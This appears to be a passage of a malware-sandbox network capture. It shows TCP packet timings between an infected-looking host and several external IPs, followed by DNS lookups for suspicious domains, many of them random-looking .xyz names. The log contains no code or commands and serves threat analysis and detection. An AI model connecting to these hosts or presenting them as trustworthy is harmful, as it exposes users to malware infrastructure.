Dec 12, 2024 14:27:11.842492104 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.842791080 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.842829943 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.843307972 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.843358994 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.843424082 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.843463898 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.844086885 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.844132900 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.844573021 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.844616890 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.844986916 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.845025063 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.845087051 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.845124960 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.845897913 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.845940113 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.846096992 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.846151114 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.846957922 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.847007990 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.847088099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.847130060 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.847784996 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.847836018 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.847861052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.847899914 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.848735094 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.848776102 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.849383116 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.849440098 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.849663019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.849694967 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.849785089 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.849829912 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.850655079 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.850667953 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.850698948 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.850733995 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.851530075 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.851573944 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:12.322954893 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.322969913 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323008060 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323020935 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323033094 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323046923 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323071003 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:12.323085070 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.323101997 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:12.323127031 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:12.331121922 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.331195116 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.331232071 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.331250906 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.331253052 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.331300020 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.331388950 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.331440926 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.331585884 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:12.331629038 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:12.331870079 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:12.332001925 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:12.336226940 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.336234093 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.337969065 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:12.337979078 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:12.338304043 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:12.339548111 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:12.339725971 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:12.339760065 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:12.339797974 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:12.339806080 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:12.420861006 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.420906067 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:12.420975924 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.445853949 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:12.445875883 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:13.625257015 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:13.625359058 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:13.625458002 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:13.663697004 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:13.663716078 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:13.852241039 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:13.852334023 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:13.896358967 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:13.896379948 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:13.898622036 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:13.898632050 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:14.729968071 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:14.730034113 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:14.730129957 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:14.730182886 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:14.730237007 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:14.813277960 CET	49914	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:14.813297033 CET	443	49914	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:16.576682091 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:16.577039003 CET	49920	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:16.709316969 CET	80	49920	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:16.709446907 CET	49920	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:16.710413933 CET	80	49901	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:16.710501909 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:16.737552881 CET	49920	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:16.857316017 CET	80	49920	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:17.683712006 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:17.683763027 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:17.683948040 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:17.684472084 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:17.684485912 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:18.001925945 CET	49927	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:18.001940966 CET	443	49927	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:18.002006054 CET	49927	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:18.036484003 CET	49927	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:18.036499023 CET	443	49927	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:18.070946932 CET	80	49920	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:18.071005106 CET	49920	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:18.151246071 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:18.151613951 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:18.253051043 CET	49931	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:18.253091097 CET	443	49931	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:18.253175020 CET	49931	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:18.272259951 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:18.272397041 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:18.272469997 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:18.272569895 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:18.290246010 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:18.409996986 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:18.716703892 CET	49931	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:18.716744900 CET	443	49931	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:18.898760080 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:18.898833990 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:18.923316002 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:18.923336983 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:18.923643112 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:18.924954891 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:18.925143003 CET	49926	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:18.925168991 CET	443	49926	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:19.443726063 CET	443	49927	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:19.443809032 CET	49927	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:19.634103060 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634118080 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634130001 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634280920 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634293079 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634305954 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634318113 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634321928 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.634321928 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.634396076 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.634396076 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.634567022 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634579897 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634591103 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.634609938 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.634758949 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.754930973 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.754945040 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.755095005 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.826520920 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.826540947 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.826636076 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.829385042 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.830981016 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.831341028 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.839135885 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.839150906 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.839327097 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.845855951 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.845927954 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.845932961 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.849041939 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.853984118 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.854243040 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.854337931 CET	49928	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:19.864064932 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.864101887 CET	80	49928	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:19.864239931 CET	49928	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 14:26:17.352183104 CET	192.168.2.4	1.1.1.1	0x269e	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:26:21.176245928 CET	192.168.2.4	1.1.1.1	0x731c	Standard query (0)	peerhost59mj7i6macla65r.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:26:56.425604105 CET	192.168.2.4	1.1.1.1	0xd4b6	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:00.164263964 CET	192.168.2.4	1.1.1.1	0xef01	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:17.312936068 CET	192.168.2.4	1.1.1.1	0x1b9d	Standard query (0)	ikswccmqsqeswegi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:17.870323896 CET	192.168.2.4	1.1.1.1	0x84cf	Standard query (0)	aukuqiksseyscgie.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:18.389944077 CET	192.168.2.4	1.1.1.1	0x7a24	Standard query (0)	ecucwceswgqiscai.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:18.802753925 CET	192.168.2.4	1.1.1.1	0x1b06	Standard query (0)	ggeguiacmksquiwq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:19.702557087 CET	192.168.2.4	1.1.1.1	0xde09	Standard query (0)	ikecgokgwsysscqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:19.930473089 CET	192.168.2.4	1.1.1.1	0xdfa6	Standard query (0)	ausmoiqykiskemym.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:20.976878881 CET	192.168.2.4	1.1.1.1	0xdfa6	Standard query (0)	ausmoiqykiskemym.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.085952997 CET	192.168.2.4	1.1.1.1	0x13e1	Standard query (0)	koaywyekuqqeyyww.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.399810076 CET	192.168.2.4	1.1.1.1	0xd308	Standard query (0)	auegquiusggyykii.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.654836893 CET	192.168.2.4	1.1.1.1	0xb33a	Standard query (0)	seaamokeuaweaima.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.881827116 CET	192.168.2.4	1.1.1.1	0x8a21	Standard query (0)	wmyekoqqyyqyoqgu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:22.914988041 CET	192.168.2.4	1.1.1.1	0x8a21	Standard query (0)	wmyekoqqyyqyoqgu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:23.960309982 CET	192.168.2.4	1.1.1.1	0x8a21	Standard query (0)	wmyekoqqyyqyoqgu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:24.164036036 CET	192.168.2.4	1.1.1.1	0x75ac	Standard query (0)	yqaouccmkggsweqk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:25.179189920 CET	192.168.2.4	1.1.1.1	0x75ac	Standard query (0)	yqaouccmkggsweqk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:26.070369005 CET	192.168.2.4	1.1.1.1	0x978d	Standard query (0)	uiggiccuoaayaqec.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:26.773989916 CET	192.168.2.4	1.1.1.1	0x816b	Standard query (0)	qamcsicuaqsaaqyw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:27.773478985 CET	192.168.2.4	1.1.1.1	0x816b	Standard query (0)	qamcsicuaqsaaqyw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:28.788388014 CET	192.168.2.4	1.1.1.1	0x816b	Standard query (0)	qamcsicuaqsaaqyw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:29.242054939 CET	192.168.2.4	1.1.1.1	0x15f1	Standard query (0)	wmeqmmsqaiaayumg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:30.055361986 CET	192.168.2.4	1.1.1.1	0x14ab	Standard query (0)	ggkswqokuuisecci.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:30.914275885 CET	192.168.2.4	1.1.1.1	0x71d8	Standard query (0)	owswomyokkgkyayg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:31.931596994 CET	192.168.2.4	1.1.1.1	0x71d8	Standard query (0)	owswomyokkgkyayg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:32.991574049 CET	192.168.2.4	1.1.1.1	0x71d8	Standard query (0)	owswomyokkgkyayg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:33.273561954 CET	192.168.2.4	1.1.1.1	0xbb41	Standard query (0)	uiqyyqqcscaiaska.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:34.288414955 CET	192.168.2.4	1.1.1.1	0xbb41	Standard query (0)	uiqyyqqcscaiaska.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:35.288481951 CET	192.168.2.4	1.1.1.1	0xbb41	Standard query (0)	uiqyyqqcscaiaska.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:35.661073923 CET	192.168.2.4	1.1.1.1	0xe6bd	Standard query (0)	uiuqygeuogieacgw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:36.461317062 CET	192.168.2.4	1.1.1.1	0x65dd	Standard query (0)	yqqeqcygyguuwwkk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:37.475950956 CET	192.168.2.4	1.1.1.1	0x65dd	Standard query (0)	yqqeqcygyguuwwkk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:38.492372036 CET	192.168.2.4	1.1.1.1	0xb6bc	Standard query (0)	qacmygkcsgcsysmm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:39.228080988 CET	192.168.2.4	1.1.1.1	0xb66c	Standard query (0)	owiquiwokycswmmw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:39.914247036 CET	192.168.2.4	1.1.1.1	0x8c5f	Standard query (0)	ggyyqmymikikcsew.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:40.976072073 CET	192.168.2.4	1.1.1.1	0x8c5f	Standard query (0)	ggyyqmymikikcsew.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:42.042246103 CET	192.168.2.4	1.1.1.1	0x8c5f	Standard query (0)	ggyyqmymikikcsew.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:42.648633003 CET	192.168.2.4	1.1.1.1	0x4d83	Standard query (0)	ecyuqucgyqyqeiqg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:43.320785046 CET	192.168.2.4	1.1.1.1	0xba9c	Standard query (0)	koswyyuqiksguuke.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:43.907566071 CET	192.168.2.4	1.1.1.1	0x7765	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.064723015 CET	192.168.2.4	1.1.1.1	0x8a24	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.069516897 CET	192.168.2.4	1.1.1.1	0x1923	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.070091963 CET	192.168.2.4	1.1.1.1	0xe066	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.070486069 CET	192.168.2.4	1.1.1.1	0xc69e	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.071779966 CET	192.168.2.4	1.1.1.1	0x2c39	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.149324894 CET	192.168.2.4	1.1.1.1	0x2299	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208400965 CET	192.168.2.4	1.1.1.1	0x2f1e	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.283114910 CET	192.168.2.4	1.1.1.1	0xe3aa	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.283279896 CET	192.168.2.4	1.1.1.1	0x94e7	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.284055948 CET	192.168.2.4	1.1.1.1	0x8817	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.385492086 CET	192.168.2.4	1.1.1.1	0xba9c	Standard query (0)	koswyyuqiksguuke.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.483139992 CET	192.168.2.4	1.1.1.1	0xc2c0	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:44.483489037 CET	192.168.2.4	1.1.1.1	0x8152	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:44.483752966 CET	192.168.2.4	1.1.1.1	0x5da2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:44.698007107 CET	192.168.2.4	1.1.1.1	0xb971	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.699137926 CET	192.168.2.4	1.1.1.1	0xc856	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.895234108 CET	192.168.2.4	1.1.1.1	0xab1c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:44.896508932 CET	192.168.2.4	1.1.1.1	0x701e	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:44.959918976 CET	192.168.2.4	1.1.1.1	0x1682	Standard query (0)	ggqmywegmoqyygiy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.041596889 CET	192.168.2.4	1.1.1.1	0x396b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.061440945 CET	192.168.2.4	1.1.1.1	0x808	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.092618942 CET	192.168.2.4	1.1.1.1	0x3585	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.243591070 CET	192.168.2.4	1.1.1.1	0x4a7b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:45.283230066 CET	192.168.2.4	1.1.1.1	0xc823	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:45.284743071 CET	192.168.2.4	1.1.1.1	0xe82f	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:45.417218924 CET	192.168.2.4	1.1.1.1	0x256c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.445664883 CET	192.168.2.4	1.1.1.1	0x9f00	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.466352940 CET	192.168.2.4	1.1.1.1	0x1d14	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.466669083 CET	192.168.2.4	1.1.1.1	0x9b0d	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.468863010 CET	192.168.2.4	1.1.1.1	0x84a4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.596071005 CET	192.168.2.4	1.1.1.1	0x2454	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:45.638631105 CET	192.168.2.4	1.1.1.1	0xe08b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:45.651551008 CET	192.168.2.4	1.1.1.1	0xe3c9	Standard query (0)	yqgckwiqkcgeygak.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.362417936 CET	192.168.2.4	1.1.1.1	0x75a9	Standard query (0)	wmwukkaseiecomsm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.366070032 CET	192.168.2.4	1.1.1.1	0x9891	Standard query (0)	fightlsoser.click	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.745066881 CET	192.168.2.4	1.1.1.1	0x2eec	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.745066881 CET	192.168.2.4	1.1.1.1	0xbf79	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.745285988 CET	192.168.2.4	1.1.1.1	0xefa9	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.896536112 CET	192.168.2.4	1.1.1.1	0xdaea	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.896625042 CET	192.168.2.4	1.1.1.1	0xaa23	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
